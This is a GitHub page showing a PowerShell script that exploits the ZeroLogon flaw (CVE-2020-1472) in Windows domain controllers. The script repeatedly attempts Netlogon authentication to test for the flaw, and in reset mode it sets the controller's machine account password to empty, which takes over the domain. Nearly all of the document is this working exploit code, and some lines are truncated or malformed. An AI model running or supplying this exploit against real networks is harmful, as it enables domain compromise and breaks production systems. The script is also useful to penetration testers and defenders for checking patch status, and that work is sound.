Product Solutions Resources Open Source Enterprise Pricing Sign in Sign up

BC-SECURITY / Invoke-ZeroLogon Public

Sponsor Notifications Fork 42 Star 214

Code Issues Pull requests Actions Projects Security Insights

Files

111d17c

Go to file

- .github
- Invoke-ZeroLogon.ps1
- README.md

Invoke-ZeroLogon / Invoke-ZeroLogon.ps1

Hubbl3 updated script description 56188fe · 4 years ago History

Code Blame Executable File · 185 lines (150 loc) · 6.94 KB Raw

```
function Invoke-Zerologon{
<#
.SYNOPSIS

This script can be run in two modes currently.
1. When the reset parameter is set to True, the script will attempt to reset the target
2. By default, reset is set to false and will simply scan if the target computer is vul
WARNING: Resetting the password of a Domain Controller is likely to break the network.



This code was heavily adapted from the C# implementation by the NCC Group's Full Spectr
https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon

The original CVE was published by Secura
https://www.secura.com/blog/zero-logon

Author: Hubbl3, Twitter: @Hubbl3
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
Version: .1

.Parameter FQDN
Provide the fully qualified domain name

.Parameter Reset
Boolean used to determine if the script should attempt to reset the target computer's p

#>
[CmdletBinding()]
Param(
    [Parameter(Position = 1, Mandatory = $true)]
    [string]
    $fqdn,

    [Parameter(Position = 2)]
    [boolean]
    $Reset
 )

    $zerologon = @"
    using System;
    using System.Runtime.InteropServices;

    namespace ZeroLogon
    {
        public class Netapi32
        {
            public enum NETLOGON_SECURE_CHANNEL_TYPE : int
            {
                NullSecureChannel = 0,
                MsvApSecureChannel = 1,
                WorkstationSecureChannel = 2,
                TrustedDnsDomainSecureChannel = 3,
                TrustedDomainSecureChannel = 4,
                UasServerSecureChannel = 5
                CdcServerSecureChannel = 5,
                ServerSecureChannel = 6
            }

            [StructLayout(LayoutKind.Explicit, Size = 516)]
            public struct NL_TRUST_PASSWORD
            {
                [FieldOffset(0)]
                public ushort Buffer;

                [FieldOffset(512)]
                public uint Length;
            }

            [StructLayout(LayoutKind.Explicit, Size = 12)]
            public struct NETLOGON_AUTHENTICATOR
            {
                [FieldOffset(0)]
                public NETLOGON_CREDENTIAL Credential;

                [FieldOffset(8)]
                public uint Timestamp;
            }

            [StructLayout(LayoutKind.Sequential)]
            public struct NETLOGON_CREDENTIAL
            {
                public sbyte data;
            }

            [DllImport("netapi32.dll", CallingConvention = CallingConvention.StdCall, C
            public static extern int I_NetServerReqChallenge(
                string PrimaryName,
                string ComputerName,
                ref NETLOGON_CREDENTIAL ClientChallenge,
                ref NETLOGON_CREDENTIAL ServerChallenge
                );

            [DllImport("netapi32.dll", CallingConvention = CallingConvention.StdCall, C
            public static extern int I_NetServerAuthenticate2(
                string PrimaryName,
                string AccountName,
                NETLOGON_SECURE_CHANNEL_TYPE AccountType,
                string ComputerName,
                ref NETLOGON_CREDENTIAL ClientCredential,
                ref NETLOGON_CREDENTIAL ServerCredential,
                ref ulong NegotiateFlags
                );

            [DllImport("netapi32.dll", CallingConvention = CallingConvention.StdCall, C
            public static extern int I_NetServerPasswordSet2(
                string PrimaryName,
                string AccountName,
                NETLOGON_SECURE_CHANNEL_TYPE AccountType,
                string ComputerName,
                ref NETLOGON_AUTHENTICATOR Authenticator,
                out NETLOGON_AUTHENTICATOR ReturnAuthenticator,
                ref NL_TRUST_PASSWORD ClearNewPassword
                );
        }

        public class Kernel32
        {
            [DllImport("kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
            public static extern IntPtr LoadLibrary(string lpFileName);

            [DllImport("kernel32.dll", SetLastError = true)]
            public static extern bool VirtualProtect(
               IntPtr lpAddress,
               uint dwSize,
               uint flNewProtect,
               out uint lpflOldProtect
            );

            [DllImport("kernel32.dll")]
```

```
            public static extern bool ReadProcessMemory(IntPtr hProcess, long lpBaseAdd

            public struct MODULEINFO
            {
                public IntPtr lpBaseOfDll;
                public uint SizeOfImage;
                public IntPtr EntryPoint;
            }
            [DllImport("kernel32.dll", SetLastError = true)]
            public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInherit

            [DllImport("psapi.dll", SetLastError = true)]
            public static extern bool GetModuleInformation(IntPtr hProcess, IntPtr hMod
        }
    }
"@;


    Add-Type $zerologon

    $hostname = $fqdn.split(".")[0]

    $ClientChallenge = New-Object ZeroLogon.Netapi32+NETLOGON_CREDENTIAL
    $ServerChallenge = New-Object ZeroLogon.Netapi32+NETLOGON_CREDENTIAL
    [Uint64]$Flags = [Uint64]0x212fffff

    for( $i = 0; $i -lt 2000; $i ++){
        if([ZeroLogon.Netapi32]::I_NetServerReqChallenge($fqdn, $hostname, [Ref] $Clien
             Write-Host "Can't complete server challenge. check FQDN"
             return;
             }
        write-host "=" -NoNewline
        if([ZeroLogon.Netapi32]::I_NetServerAuthenticate2($fqdn, $hostname+"$",[ZeroLog
            Write-Host "`nServer is vulnerable";

            $authenticator = New-Object ZeroLogon.Netapi32+NETLOGON_AUTHENTICATOR;
            $EmptyPassword = New-Object ZeroLogon.Netapi32+NL_TRUST_PASSWORD;
            if ($reset){

                if([ZeroLogon.Netapi32]::I_NetServerPasswordSet2($fqdn, $hostname+"$",
                    Write-Host "password set to NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0"
                    return;
                    }
                write-Host "Failed to reset password"
                return;
            }

            return;
        }
    }
    Write-Host "Host appears to be patched";


}
```